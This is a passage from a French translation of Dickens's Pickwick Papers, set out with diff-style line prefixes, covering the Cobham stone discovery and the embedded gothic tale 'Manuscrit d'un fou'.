+temps une biche effrayée traversait le chemin, légère comme l'ombre des
+nuages qui glisse rapidement sur un paysage inondé par la chaude lumière
+du soleil.
+
+«Si tous ceux qui sont attaqués de la maladie de notre ami se retiraient
+dans cette contrée, dit M. Pickwick, en regardant autour de lui, je
+m'imagine que leur vieil attachement pour le monde renaîtrait bientôt.
+
+--Je le pense aussi, dit M. Winkle.
+
+--Et réellement, ajouta M. Pickwick, lorsqu'une demi-heure de marche les
+eut amenés dans le village, réellement, quoique choisi par un
+misanthrope, cet endroit me semble le plus joli et le plus séduisant que
+j'aie jamais rencontré.»
+
+M. Winkle et M. Snodgrass s'associèrent sans restriction à ces louanges.
+
+Bientôt après, ayant demandé _la Bouteille de cuir_, nos voyageurs
+furent dirigés vers une auberge d'assez bonne apparence, pour une
+auberge de village, et s'enquirent s'il s'y trouvait un gentleman nommé
+Tupman.
+
+«Tom, dit l'hôtesse, menez ces messieurs, dans la salle.»
+
+Sous la conduite d'un vigoureux paysan, les trois amis entrèrent dans
+une chambre longue et basse, dont les murailles étaient embellies d'une
+ribambelle de vieux portraits et d'images grossièrement coloriées, et
+dont le plancher était semé d'une multitude de chaises de cuir, d'une
+forme fantastique, au dos gigantesque. A l'extrémité de la salle une
+table se faisait remarquer par la blancheur éblouissante de sa nappe.
+Elle était décorée d'une volaille dodue, d'un jambon appétissant, d'un
+pot d'ale fraîche, etc. Et c'est à cette table séduisante qu'était assis
+M. Tupman, n'ayant en aucune façon l'air d'un homme qui a pris congé de
+ce monde.
+
+A l'arrivée de ses amis, il posa son couteau, sa fourchette, et s'avança
+au-devant d'eux d'un air sombre.
+
+«Je ne m'attendais pas à vous voir ici, dit-il en saisissant la main de
+M. Pickwick. C'est bien aimable.
+
+--Ah! fit M. Pickwick, en s'asseyant et en essuyant sur son front la
+sueur causée par sa promenade. Finissez votre dîner et venez dehors avec
+moi. Je désire vous parler, à vous seul.»
+
+M. Tupman fit comme il lui était enjoint, et M. Pickwick s'étant
+rafraîchi d'un copieux coup d'ale, attendit le loisir de son ami. En
+moins d'une heure le dîner fut dépêché, et ils sortirent ensemble.
+
+Pendant une demi-heure on put les voir passer et repasser dans le
+cimetière, tandis que M. Pickwick combattait la résolution de M. Tupman.
+Il serait inutile de répéter ses arguments, car quel langage pourrait
+rendre l'énergie que leur communiquait l'action de ce grand orateur? Il
+n'est pas davantage nécessaire de savoir si M. Tupman était déjà fatigué
+de la solitude, ou s'il lui fut impossible de résister à l'éloquent
+appel qui lui fut adressé. En fait, il n'y résista pas.
+
+«Il lui importait peu, dit-il, où il traînerait les misérables restes de
+son existence; et puisque ses amis attachaient tant d'importance à son
+humble coopération, il consentait à partager leurs travaux.»
+
+M. Pickwick sourit, une poignée de main fut échangée, et ils
+retournèrent auprès de leurs compagnons.
+
+C'est en ce moment que M. Pickwick fit l'immortelle découverte qui sera
+à jamais un sujet d'orgueil pour ses amis, un sujet d'envie pour tous
+les antiquaires des quatre parties du monde. Ils avaient dépassé la
+porte de leur auberge, et ne se rappelant pas où elle était située, ils
+avaient été un peu plus loin dans le village. Comme ils revenaient sur
+leurs pas, les yeux de M. Pickwick tombèrent sur une petite pierre
+brisée et à moitié ensevelie dans la terre, sur le devant d'une
+chaumine.
+
+M. Pickwick s'arrêta.
+
+«Ceci est fort étrange! dit-il.
+
+--Qu'y a-t-il d'étrange? demanda M. Tupman, en regardant avec
+empressement tous les objets qui l'entouraient, excepté celui dont il
+était question. Eh! mais de quoi s'agit-il donc?»
+
+Cette dernière exclamation lui était arrachée par la vue de M. Pickwick
+qui, dans son enthousiasme pour sa découverte, se jetait à genoux devant
+la petite pierre, et en balayait la poussière avec son mouchoir.
+
+«Il y a une inscription ici! s'écria M. Pickwick.
+
+--Est-il possible? dit H. Tupman.
+
+--Je puis distinguer, continua M. Pickwick, en frottant de toutes ses
+forces, et en regardant attentivement à travers ses lunettes, je puis
+distinguer, une croix, et un _B_, et ensuite un _T_. Ceci est
+très-important! poursuivit M. Pickwick en se relevant. C'est une
+inscription fort ancienne, et qui existait peut-être longtemps avant
+les antiques _Alms houses_[15] de cette petite ville. Il ne faut pas
+laisser échapper cette trouvaille.»
+
+[Footnote 15: Petites maisons où les vieillards pauvres sont logés
+gratuitement.]
+
+Ayant ainsi parlé, M. Pickwick frappa à la porte de la chaumière. Un
+laboureur l'ouvrit.
+
+«Mon ami, lui demanda le philosophe d'un ton bienveillant, savez-vous
+comment cette pierre est venue ici?
+
+--Nein, m'sieu, j'n'en savons rin, répondit l'homme civilement. All'
+était là ben du temps avant moi, et avant l'pus ancien du village itou.»
+
+M. Pickwick regarda son compagnon avec triomphe.
+
+«Vous... vous n'y êtes pas bien attaché, j'imagine, poursuivit-il, en
+tremblant d'anxiété. Vous ne seriez pas fâché de la vendre?
+
+--Ah! ben oui! qui voudrait l'acheter? répondit l'homme avec une
+expression de visage qu'il s'imaginait probablement rendre très-rusée.
+
+--Je vous en donnerai une demi-guinée sur-le-champ, reprit M. Pickwick,
+si vous voulez la retirer de terre.»
+
+Lorsque la petite pierre eut été déracinée, moyennant quelques coups de
+bêche, M. Pickwick l'enleva de ses propres mains, à grand'peine, et au
+grand étonnement de tout le village. Il la porta dans l'auberge, et
+après l'avoir soigneusement lavée, il la déposa sur la table.
+
+Les transports de joie des pickwickiens ne connurent plus de bornes
+quand ils virent couronner de succès leur patience et leur assiduité,
+leurs lavages et leurs grattages. La pierre était anguleuse et brisée,
+les lettres mal alignées et peu régulières, mais cependant on pouvait
+déchiffrer le fragment suivant d'inscription:
+
+[Illustration: Croix]
+BIL
+STUM
+PS
+SAMA
+RK
+
+Les prunelles de M. Pickwick étincelèrent de délice lorsqu'il s'assit
+auprès de la table, en couvant des yeux le trésor qu'il avait déterré.
+Il avait atteint le plus grand objet de son ambition. Dans un comté
+connu pour être couvert par des restes de l'antiquité, dans un village
+où il existait encore quelques gages des anciens temps, lui, le
+président du Pickwick-Club, avait découvert une étrange et curieuse
+inscription, d'une antiquité incontestable, et qui avait entièrement
+échappé aux observations de tous les savants hommes qui l'avaient
+précédé. Il pouvait à peine en croire l'évidence de ses sens.
+
+«Ceci, dit-il, ceci me détermine. Mous retournerons à la ville dès
+demain.
+
+--Demain! s'écrièrent ses disciples pleins d'admiration.
+
+--Demain, répéta M. Pickwick. Ce trésor doit être déposé sur-le-champ
+dans un endroit où il puisse être complétement étudié et convenablement
+compris. J'ai une autre raison pour cette démarche. Dans quelques jours
+une élection doit avoir lieu pour le bourg d'Eatanswill. Un gentleman
+que j'ai rencontré dernièrement, M. Perker, est l'agent d'un des
+candidats. Nous contemplerons, nous étudierons minutieusement une scène
+intéressante pour quiconque est Anglais.
+
+--Nous vous suivrons!» s'écrièrent en même temps trois voix, qui
+semblaient n'en former qu'une.
+
+M. Pickwick promena ses regards autour de lui. L'attachement, la ferveur
+de ses disciples allumèrent dans son sein le feu de l'enthousiasme. Il
+était leur maître, et il le sentit.
+
+«Célébrons, reprit-il, célébrons cette réunion fortunée par des
+libations amicales.» Cette nouvelle proposition ayant été également
+accueillie par des applaudissements unanimes, M. Pickwick déposa
+l'importante pierre dans une petite boîte de sapin, qu'il eut le bonheur
+d'obtenir de l'hôtesse; puis il se plaça dans un fauteuil au haut bout
+de la table, et la soirée tout entière fut consacrée à la gaieté et à la
+conversation.
+
+Il était onze heures passées, heure indue pour le petit village de
+Cobham, lorsque M. Pickwick se retira dans la chambre à coucher qui lui
+avait été préparée. Il leva la jalousie, et, posant sa lumière sur la
+table, il se laissa aller à de profondes méditations sur les nombreux
+événements des deux journées précédentes.
+
+L'heure et l'endroit étaient favorables à la contemplation et M.
+Pickwick n'en fut tiré que par le bruit de l'horloge de l'église, qui
+frappait lentement minuit. Le premier coup de la cloche retentit à son
+oreille d'une manière solennelle et lugubre à la fois; mais quand elle
+cessa de tinter, le silence lui parut insupportable. Il lui semblait
+qu'il venait de perdre un compagnon chéri. Son système nerveux était
+excité et dérangé; il le sentit et, s'étant déshabillé rapidement, il
+plaça sa lumière dans la cheminée et entra dans son lit.
+
+Tout le monde a éprouvé cet état désagréable dans lequel une sensation
+de lassitude corporelle lutte vainement contre l'insomnie: telle était
+la situation de M. Pickwick en ce moment. Il se tourna sur un côté, puis
+sur l'autre; il tint ses yeux fermés avec persévérance, comme pour
+s'engager à dormir: mais ce fut en vain. Soit que cela provint de la
+fatigue inaccoutumée qu'il avait soufferte, ou de la chaleur, ou du
+grog, ou du changement de lit, le sommeil s'enfuyait loin de ses
+paupières. Ses pensées se reportaient malgré lui et avec une obstination
+pénible sur les peintures effrayantes qu'il avait vues dans la salle
+d'en bas, sur les vieilles légendes qui avaient été racontées dans le
+cours de la soirée. Après s'être vainement agité pendant une demi-heure,
+il arriva à la triste conviction qu'il ne pourrait pas parvenir à
+s'endormir. Il se rhabilla donc en partie, regardant comme la pire des
+situations d'être étendu dans son lit à imaginer toutes sortes
+d'horreurs. Une fois habillé, il mit la tête à la fenêtre; le temps
+était affreusement sombre: il se promena dans sa chambre; elle était
+déplorablement solitaire.
+
+Il avait fait quelques promenades de la porte à la fenêtre et de la
+fenêtre à la porte, lorsque le manuscrit du vieux ministre lui revint à
+la mémoire. C'était une bonne pensée. Si ce manuscrit ne l'intéressait
+pas, il pourrait toujours l'endormir. Notre philosophe le tira donc de
+la poche de sa redingote, approcha une petite table de son lit, moucha
+la chandelle, mit ses lunettes et s'arrangea pour lire. L'écriture était
+étrange; le papier froissé et taché. Le titre du manuscrit fit courir un
+frisson dans tous les membres de M. Pickwick, et il ne put s'empêcher de
+jeter un regard inquiet autour de sa chambre. Cependant, réfléchissant à
+l'absurdité de céder à de semblables idées, il moucha de nouveau sa
+chandelle, et lut ce qui suit:
+
+MANUSCRIT D'UN FOU.
+
+«Oui, d'un fou!--Comme ces mots m'auraient glacé jusqu'au fond du coeur,
+il y a quelques années! Comme ils auraient réveillé cet effroi qui
+faisait bourdonner et bouillonner mon sang dans mes veines, jusqu'à ce
+que mon front se couvrît de larges gouttes d'une sueur froide, jusqu'à
+ce que mes genoux s'entre-choquassent d'épouvante! Et pourtant j'aime
+ce nom maintenant, c'est un beau nom! Montrez-moi le monarque dont le
+front courroucé ait jamais causé autant de peur que le regard brillant
+d'un fou; dont la hache et la corde aient fait la besogne aussi sûrement
+que les serres d'un fou. Oh! oh! c'est une grande chose d'être fou,
+d'être regardé comme un lion sauvage à travers des barreaux, de grincer
+des dents et de hurler pendant les longues nuits silencieuses, et de se
+rouler sur la paille, aux sons joyeux d'une lourde chaîne. Hourra pour
+la maison des fous! C'est un charmant endroit.
+
+«Je me rappelle le temps où j'avais peur de devenir fou; où je
+m'éveillais en sursaut, pour tomber sur mes genoux, et demander au ciel
+de me délivrer du fléau de toute ma race; où je fuyais la vue de la
+gaieté et du bonheur pour me cacher dans un coin solitaire, et consumer
+les heures pesantes à guetter les progrès de la fièvre qui devait
+dévorer mon cerveau. Je savais que la folie était mêlée dans mon sang
+même, et jusque dans la moelle de mes os; qu'une génération avait passé
+sans qu'elle reparût dans ma famille, et que j'étais le premier chez qui
+elle devait revivre. Je savais que cela devait être ainsi, que cela
+avait toujours été et devait toujours être de même; et quand je
+m'isolais dans l'angle d'un salon plein de monde, quand je voyais les
+invités parler bas et tourner les yeux vers moi, je savais qu'ils
+s'entretenaient du fou prédestiné. Je m'enfuyais alors et j'allais me
+nourrir de mes tristes pensées dans la solitude.
+
+«J'ai fait cela pendant des années, de longues, de pénibles années. Les
+nuits sont longues ici quelquefois, très-longues; mais ce n'est rien
+auprès des nuits sans repos, des rêves épouvantables, qui me
+tourmentaient dans ce temps-là. J'ai froid quand j'y pense. De grandes
+figures sombres rampaient dans tous les coins de ma chambre; et pendant
+la nuit leurs visages grimaçants et moqueurs se penchaient sur ma
+couche, pour me faire perdre l'esprit. Ils me disaient, en murmurant
+tout bas, que le plancher de notre vieille maison était souillé du sang
+de mon grand père, versé par ses propres mains, dans un accès de fureur.
+J'enfonçais mes doigts dans mes oreilles, de peur de les entendre, mais
+leurs voix s'élevaient comme la tempête, et elles me criaient que la
+folie avait sommeillé pendant une génération avant mon grand-père, et
+que son grand-père, à lui, avait vécu pendant des années, avec ses mains
+enchaînées à la terre, pour l'empêcher de se déchirer lui-même. Je
+savais que c'était la vérité; je le savais bien, je l'avais découvert
+nombre d'années auparavant, quoiqu'on s'efforçât de me le cacher. Ah!
+ah! j'étais trop malin pour eux, quoiqu'ils me crussent fou.
+
+«A la fin la folie vint sur moi, et je m'étonnai de l'avoir jamais
+redoutée. Je pouvais aller dans le monde, et rire, et plaisanter, avec
+les plus brillants d'entre eux. Je savais que j'étais fou, mais eux ils
+ne s'en doutaient pas. Comme je jouissais, en moi-même, du tour que je
+leur jouais, après tous leurs chuchotements et tous leurs airs effrayés,
+lorsque je n'étais pas fou, lorsque je craignais seulement de le
+devenir! Comme je riais, quand j'étais seul, en pensant que je gardais
+si bien mon secret; en pensant à la terreur de mes bons amis, s'ils
+avaient seulement soupçonné la vérité! Lorsque je dînais en tête-à-tête
+avec quelque beau garçon tapageur, j'aurais pu hurler de délice, en
+songeant comme il serait devenu pâle et comme il se serait enfui, s'il
+avait su que ce cher ami, assis près de lui et qui aiguisait un couteau
+effilé, était un fou, avec la puissance et presque la volonté de lui
+plonger sa lame dans le coeur. Oh! c'était une joyeuse vie.
+
+«D'immenses richesses devinrent mon partage, et je m'enivrai de plaisirs
+qui étaient rehaussés mille fois par la conscience du secret que je
+gardais si bien. J'héritai d'un château; la loi aux yeux de lynx, la loi
+elle-même fut déçue; elle remit entre les mains d'un fou une fortune
+prodigieuse et contestée. Où donc était l'esprit des hommes sages et
+clairvoyants? Où était la dextérité des hommes de loi, si habiles à
+découvrir le moindre vice de forme? La malice d'un fou les avait tous
+abusés.
+
+«J'avais de l'argent: comme j'étais courtisé! Je le dépensais largement:
+comme j'étais loué! comme ces trois frères orgueilleux s'humiliaient
+devant moi! Le vieux père aussi, avec sa tête blanche! Tant de
+déférence, tant de respect, tant d'amitié dévouée! Véritablement ils
+m'idolâtraient. Le vieux homme avait une fille; les jeunes gens avaient
+une soeur; et tous les cinq étaient pauvres, et j'étais riche, et quand
+j'épousai la jeune fille, je vis un sourire de triomphe sur le visage de
+ses avides parents. Ils pensaient à leur plan, si bien conduit, à la
+bonne prise qu'ils avaient faite: c'était à moi de sourire... de
+sourire?... De rire aux éclats, et de me rouler sur la terre, en
+m'arrachant les cheveux avec des cris de joie! Ils ne se doutaient guère
+qu'ils l'avaient mariée à un fou.
+
+«Un moment.... S'ils l'avaient su, aurait-elle été sauvé? La bonheur
+d'une soeur contre l'or de son mari? Le plus léger duvet qui vole dans
+l'air contre la superbe chaîne qui orne mon corps!
+
+«Sur un point, cependant, je fus trompé, malgré toute ma malice. Si je
+n'avais pas été fou... car, nous autres fous, quoique nous soyons assez
+rusés, nous nous embrouillons quelquefois... si je n'avais pas été fou,
+je me serais aperçu que la jeune fille aurait mieux aimé être placée,
+roide et froide, dans un cercueil de plomb, que d'être amenée, riche et
+noble mariée, dans ma maison fastueuse. J'aurais su que son coeur était
+avec le jeune homme aux yeux noirs, dont je lui ai entendu murmurer le
+nom pendant son sommeil agité; j'aurais su qu'elle m'était sacrifiée
+pour secourir la pauvreté de son père aux cheveux blancs, et de ses
+frères orgueilleux.
+
+«Je ne me rappelle plus les visages maintenant, mais je sais que la
+jeune fille était belle. Je le sais, car pendant les nuits où la lune
+brille, quand je me réveille en sursaut et que tout est tranquille
+autour de moi, je vois dans un coin de cette cellule une figure maigre
+et blanche, qui se tient immobile et silencieuse. Ses longs cheveux
+noirs, épars sur ses épaules, ne sont jamais agités par le vent. Ses
+yeux, qui fixent sur moi leur regard brûlant, ne clignent jamais, et ne
+se ferment jamais.... Silence! mon sang se gèle dans mon coeur, en
+écrivant ceci. Cette figure, c'est elle!... Son visage est très-pâle et
+ses prunelles sont vitreuses; mais je la connais bien.... Cette figure
+ne bouge jamais, elle ne fronce point ses sourcils, elle ne grince pas
+des dents comme les autres fantômes qui peuplent souvent ma cellule; et
+cependant elle est bien plus affreuse pour moi que tous les autres; elle
+est plus affreuse que les esprits qui me tentaient jadis; elle sort de
+sa tombe, et la mort est sur son visage.
+
+«Pendant près d'un an je vis les couleurs de ses joues se ternir de jour
+en jour; pendant près d'un an je vis des larmes silencieuses couler de
+ses yeux battus. Je n'en savais pas la cause, mais je la découvris à la
+fin. Ils ne purent pas me la cacher plus longtemps. Elle ne m'avait
+jamais aimé; je n'avais pas pensé qu'elle m'aimât. Elle méprisait mes
+richesses, et détestait la splendeur où elle vivait; je ne m'étais pas
+attendu à cela. Elle en aimait un autre; cette idée ne m'était pas
+entrée dans la tête. D'étranges sentiments s'emparèrent de moi; des
+pensées inspirées par quelque pouvoir secret bouleversèrent ma
+cervelle. Je ne la haïssais pas, quoique je haïsse le jeune homme
+qu'elle pleurait encore. J'avais pitié... oui, j'avais pitié de la vie
+misérable à laquelle ses égoïstes parents l'avaient condamnée. Je savais
+qu'elle ne vivrait pas longtemps, mais la pensée qu'avant sa mort elle
+pouvait donner naissance à un être infortuné destiné à transmettre la
+folie à ses enfants.... Cette pensée me détermina.... Je résolus de la
+tuer.
+
+«Pendant plusieurs semaines je voulus la noyer; puis je songeai au
+poison, puis au feu. Quel beau spectacle, de voir la grande maison tout
+en flammes, et la femme du fou réduite en cendres! Quelle bonne charge
+de promettre, pour la sauver, une grande récompense, et ensuite de faire
+pendre, comme incendiaire, quelque homme sage et innocent! et tout cela
+par la malice d'un fou. J'y rêvais souvent, mais j'y renonçai à la fin.
+Oh! quel plaisir de repasser tous les jours le rasoir, d'essayer comme
+il était bien affilé et de penser à l'entaille que pourrait faire un
+seul coup de cette lame brillante!
+
+«A la fin les esprits qui avaient été si souvent avec moi auparavant,
+chuchotèrent dans mon oreille que le temps était venu. Ils me mirent un
+rasoir tout ouvert dans la main; je le serrai avec force; je me levai
+doucement du lit et me penchai sur ma femme endormie. Son visage était
+caché dans ses mains; je les écartai doucement, et elles tombèrent
+nonchalamment sur son sein. Elle avait pleuré, les traces de ses larmes
+étaient encore visibles sur ses joues pâles; cependant son visage était
+calme et heureux, et tandis que je la regardais, un tranquille sourire
+éclairait ses traits amaigris. Je posai doucement ma main sur son
+épaule; elle tressaillit, mais sans entr'ouvrir ses longues paupières.
+Je la touchai de nouveau: elle poussa un cri et s'éveilla.
+
+«Un mouvement de ma main, et elle n'aurait jamais fait entendre un autre
+son; mais je fus surpris, et je reculai. Ses yeux étaient fixés sur les
+miens. Je ne sais pas comment cela se fit, ils m'intimidèrent, j'étais
+dompté par ce regard. Elle se leva de son lit, en me regardant fixement
+et continuellement. Je tremblai, le rasoir était dans ma main, mais je
+ne pouvais faire aucun mouvement. Elle se dirigea vers la porte. Quand
+elle en fut proche elle se détourna, et retira ses yeux de dessus moi.
+Le charme était brisé: je fis un bond et je la saisis par le bras; elle
+tomba par terre en poussant des cris désespérés.
+
+«Alors j'aurais pu la tuer sans résistance, mais la maison était
+alarmée, j'entendais des pas sur l'escalier; je remis le rasoir à sa
+place, j'ouvris la porte et j'appelai moi-même du secours.
+
+«On vint, on la releva, on la plaça sur le lit. Elle resta sans
+connaissance pendant plusieurs heures, et quand elle recouvra la vie et
+la parole, elle avait perdu l'esprit, elle délirait avec des transports
+furieux.
+
+«Des médecins furent appelés, de savants hommes qui roulaient jusqu'à ma
+porte dans d'excellents carrosses, avec des domestiques revêtus d'une
+livrée brillante. Ils restèrent près de son lit pendant des semaines. Il
+y eut une grande consultation, et ils conférèrent ensemble d'une voix
+solennelle. J'étais dans la pièce voisine; l'un des plus célèbres, parmi
+eux, vint m'y trouver, me prit à part, et, me disant de me préparer à la
+plus funeste nouvelle, m'apprit à moi, le fou! que ma femme était folle.
+Le docteur était seul avec moi, tout auprès d'une fenêtre ouverte, ses
+yeux fixés sur mon visage, sa main posée sur mon bras. D'un seul effort
+j'aurais pu le précipiter dans la rue, ç'aurait été une fameuse farce!
+mais mon secret était en jeu et je le laissai partir. Quelques jours
+après, on me dit que je devrais la faire surveiller, lui choisir un
+gardien, _moi!_ Je m'en allai dans la campagne où personne ne pouvait
+m'entendre, et je poussai des éclats de rire, qui retentissaient au
+loin.
+
+«Elle mourut le lendemain. Le vieillard aux cheveux blancs suivit son
+cercueil, et les frères orgueilleux laissèrent tomber des larmes sur le
+corps insensible de celle dont ils avaient contemplé la souffrance avec
+des muscles d'airain. Tout cela nourrissait ma gaieté secrète et, en
+retournant à la maison, je riais derrière le mouchoir blanc que je
+tenais sur mon visage, je riais tant que les larmes m'en venaient aux
+yeux.
+
+«Mais quoique j'eusse atteint mon but en la tuant, j'étais inquiet et
+agité; je sentais que mon secret devait m'échapper avant longtemps. Je
+ne pouvais cacher la joie sauvage qui bouillonnait dans mon sang; et
+qui, lorsque j'étais seul à la maison, me faisait sauter et battre des
+mains, et danser, et tourner, et rugir comme un lion. Quand je sortais
+et que je voyais la foule affairée se presser dans les rues ou au
+théâtre, quand j'entendais les sons de la musique, quand je regardais
+les danseurs, je ressentais des transports si joyeux, que j'étais tenté
+de me précipiter au milieu d'eux et d'arracher leurs membres pièce à
+pièce, et de hurler avec les instruments. Mais alors, je grinçais des
+dents, je frappais du pied sur le plancher, j'enfonçais mes ongles aigus
+dans mes mains, je maîtrisais la folie et personne ne se doutait encore
+que j'étais un fou.
+
+«Je me rappelle... quoique ce soit une des dernières choses que je
+puisse me rappeler... car maintenant je mêle mes rêves avec les faits
+réels, et j'ai tant de choses à faire ici et je sais si pressé que je
+n'ai pas le temps de mettre un peu d'ordre dans cette étrange
+confusion... je me rappelle comment cela éclata à la fin. Ha! ha! il me
+semble que je vois encore leurs regards effrayés! Avec quelle facilité
+je les rejetai loin de moi; comme je meurtrissais leur visage avec mes
+poings fermés, et comme je m'enfuis avec la vitesse du vent, les
+laissant huer et crier bien loin derrière moi. La force d'un géant
+renaît en moi, lorsque j'y pense. Là! voyez comme cette barre de fer
+ploie sous mon étreinte furieuse! Je pourrais la briser comme un roseau;
+mais il y a ici de longues galeries, avec beaucoup de portes, je crois
+que je ne pourrais pas y trouver mon chemin, et même si je pouvais le
+trouver, il y a en bas des grilles de fer qu'ils tiennent soigneusement
+fermées, car ils savent quel fou malin j'ai été, et ils sont fiers de
+m'avoir pour me montrer aux visiteurs.
+
+«Voyons... oui c'est cela... j'étais allé dehors; la nuit était avancée
+quand je rentrai à la maison, et je trouvai le plus orgueilleux des
+trois orgueilleux frères, qui m'attendait pour me voir. Affaire
+pressante disait-il: je me le rappelle bien. Je haïssais cet homme avec
+toute la haine d'un fou; souvent, bien souvent, mes mains avaient brûlé
+de le mettre en pièces. On m'apprit qu'il était là; je montai rapidement
+l'escalier. Il avait un mot à me dire; je renvoyai les domestiques.
+
+«Il était tard et nous étions seuls ensemble, _pour la première fois_!
+
+«D'abord je détournai soigneusement les yeux de dessus lui, car je
+savais, ce qu'il n'imaginait guère, et je me glorifiais de le savoir...
+que le feu de la folie brillait dans mes yeux comme une fournaise.--Nous
+restâmes assis en silence pendant quelques minutes. Il parla à la fin.
+Mes dissipations récentes et d'étranges remarques, faites aussitôt après
+la mort de sa soeur, étaient une insulte à sa mémoire. Rassemblant
+beaucoup de circonstances qui avaient d'abord échappé à ses
+observations, il pensait que je n'avais pas bien traité la défunte, il
+désirait savoir s'il devait en conclura que je voulais jeter quelques
+reproches sur elle, et manquer de respect dû à sa famille. Il devait à
+l'uniforme qu'il portait de me demander cette explication.
+
+«Cet homme avait une commission dans l'armée; une commission achetée
+avec mon argent, avec la misère de sa soeur! C'était lui qui avait été le
+plus acharné dans le complot pour m'enlacer et pour s'approprier ma
+fortune. C'était pour lui surtout, et par lui, que sa soeur avait été
+forcée de m'épouser, quoiqu'il sut bien qu'elle avait donné son coeur à
+ce jeune homme sentimental.--_Il devait à son uniforme!_--Son uniforme!
+La livrée de sa dégradation! Je tournai mes yeux vers lui, je ne pus pas
+m'en empêcher, mais je ne dis pas un mot.
+
+«Je vis le changement soudain que mon regard produisit dans sa
+contenance. C'était un homme hardi, et pourtant son visage devint
+blafard. Il recula sa chaise, je rapprochai la mienne plus près de lui,
+et comme je me mis à rire (j'étais très-gai alors), je le vis
+tressaillir. Je sentis que la folie s'emparait de moi: lui, il avait
+peur.
+
+«Vous aimiez beaucoup votre soeur quand elle vivait, lui dis-je. Vous
+l'aimiez beaucoup?»
+
+«Il regarda avec inquiétude autour de lui, et je vis que sa main droite
+serrait le dos de sa chaise; cependant il ne répondit rien.
+
+«Misérable! m'écriai-je, je vous ai deviné! J'ai découvert votre complot
+infernal contre moi. Je sais que son coeur était avec un autre lorsque
+vous l'avez forcée de m'épouser. Je le sais, je le sais!»
+
+«Il se leva brusquement, brandit sa chaise devant lui et me cria de
+reculer; car je m'étais approché de lui, tout en parlant.
+
+«Je hurlais plutôt que je ne parlais, et je sentais bouillonner dans mes
+veines le tumulte des passions; j'entendais le vieux chuchotement des
+esprits qui me défiaient d'arracher son coeur.
+
+«Damnation! m'écriai-je en me précipitant sur lui. J'ai tué ta soeur! Je
+suis fou! Mort! Mort! Du sang, du sang! J'aurai ton sang!»
+
+«Je détournai la chaise, qu'il me lança dans sa terreur; je l'empoignai
+corps à corps, et nous roulâmes tous les deux sur le plancher.
+
+«Ce fut une belle lutte, car il était grand et fort; il combattait pour
+sa vie, et moi j'étais un fou puissant, altéré de vengeance. Je savais
+qu'aucune force humaine ne pouvait égaler la mienne, et j'avais raison,
+raison, raison! quoique fou! Sa résistance s'affaiblit; je m'agenouillai
+sur sa poitrine, je serrai fortement avec mes deux mains son cou
+musculeux; son visage devint violet, les yeux lui sortaient de la tête,
+et il tirait la langue comme s'il voulait se moquer. Je serrais toujours
+plus fort.
+
+«Tout à coup la porte s'ouvrit avec un grand bruit; beaucoup de gens se
+précipitèrent dans la chambre en criant: «Arrêtez le fou! Mon secret
+était découvert; il fallait lutter maintenant pour la liberté; je fus
+sur mes pieds avant que personne pût me saisir; je m'élançai parmi les
+assaillants, et je m'ouvris un passage d'un bras vigoureux. Ils
+tombaient tous devant moi comme si je les avais frappés avec une massue.
+Je gagnai la porte, je sautai par-dessus la rampe; en un instant j'étais
+dans la rue.
+
+«Je courus devant moi, droit et roide, et personne n'osait m'arrêter.
+J'entendais le bruit des pas derrière moi, et je redoublais de vitesse.
+Ce bruit devenait de plus en plus faible, à mesure que je m'éloignais,
+et enfin il s'éteignit entièrement. Moi, je bondissais toujours
+par-dessus les ruisseaux et les mares, par-dessus les murs et les
+fossés, en poussant des cris sauvages, qui déchiraient les airs et qui
+étaient répétés par les êtres étranges dont j'étais entouré. Les démons
+m'emportaient dans leurs bras, au milieu d'un ouragan qui renversait en
+passant les haies et les arbres; ils m'emportaient en tourbillonnant, et
+je ne voyais plus rien autour de moi, tant j'étais étourdi par la fracas
+et la rapidité de leur course. A la fin, ils me lancèrent loin d'eux, et
+je tombai pesamment sur la terre.
+
+«Quand je me réveillai, je me trouvai ici... ici dans cette gaie
+cellule, ou les rayons du soleil viennent rarement, où les rayons de la
+lune, quand ils s'y glissent, ne servent qu'à me faire mieux voir les
+ombres menaçantes qui m'entourent, et cette figure silencieuse, toujours
+debout dans ce coin. Quand je suis éveillé, je puis entendre quelquefois
+des cris étranges, des gémissements affreux, qui retentissent dans ces
+grands bâtiments antiques. Ce que c'est, je l'ignore; mais ils ne
+viennent pas de cette pâle figure et n'ont aucun rapport avec elle, car
+depuis les premières ombres du crépuscule jusqu'aux lueurs matinales de
+l'aurore, elle reste immobile à la même place, écoutant l'harmonie de
+mes chaînes de fer, et contemplant mes gambades sur mon lit de paille.»
+
+       *       *       *       *       *
+
+A la fin du manuscrit la note suivante était écrite d'une autre main.
+
+«L'infortuné dont on vient de lire les rêveries est un triste exemple du
+résultat que peuvent avoir des passions effrénées et des excès
+prolongés, jusqu'à ce que leurs conséquences deviennent irréparables. La
+dissipation, les débauches répétées de sa jeunesse, amenèrent la fièvre
+et le délire. Le premier effet de celui-ci fut, l'étrange illusion par
+laquelle il se persuada qu'une folie héréditaire existait dans sa
+famille. Cette idée, fondée sur une théorie médicale bien connue, mais
+contestée aussi vivement qu'elle est appuyée, produisit chez lui une
+humeur atrabilaire qui, avec le temps, dégénéra en folie, et se termina
+enfin par la fureur. J'ai lieu de croire que les événements racontés par
+lui sont réellement arrivés, quoiqu'ils aient été défigurés par son
+imagination malade. Ce qui doit étonner davantage ceux qui ont eu
+connaissance des vices de sa jeunesse, c'est que ses passions,
+lorsqu'elles n'ont plus été contrôlées par la raison, ne l'aient point
+poussé à commettre des crimes encore plus effroyables.»
+
+       *       *       *       *       *
+
+La chandelle de M. Pickwick s'enfonçait dans la bobèche, précisément au
+moment où il achevait de lire le manuscrit du vieil ecclésiastique; et
+comme la lumière s'éteignit tout d'un coup, sans même avoir vacillé,
+l'obscurité soudaine fit une impression profonde sur ses nerfs déjà
+excités. Il tressaillit et ses dents claquèrent de terreur. Otant donc
+avec vivacité les vêtements qu'il avait mis pour se relever, il jeta
+autour de la chambre un regard craintif et se fourra promptement entre
+ses draps, où il ne tarda pas à s'endormir.
+
+Lorsqu'il se réveilla, le soleil faisait resplendir tous les objets dans
+sa chambre et la matinée était déjà avancée. La tristesse qui l'avait
+accablé le soir précédant s'était dissipée avec les ombres qui
+obscurcissaient le paysage; toutes ses pensées, toutes ses sensations
+étaient aussi gaies et aussi gracieuses que le matin lui-même. Après un
+solide déjeuner, les quatre philosophes, suivis par un homme qui portait
+la pierre dans sa boîte de sapin, se dirigèrent à pied vers Gravesend,
+où leur bagage avait été expédié de Rochester. Ils atteignirent
+Gravesend vers une heure, et ayant été assez heureux pour trouver des
+places sur l'impériale de la voiture de Londres, ils y arrivèrent, sains
+et saufs, dans la soirée.
+
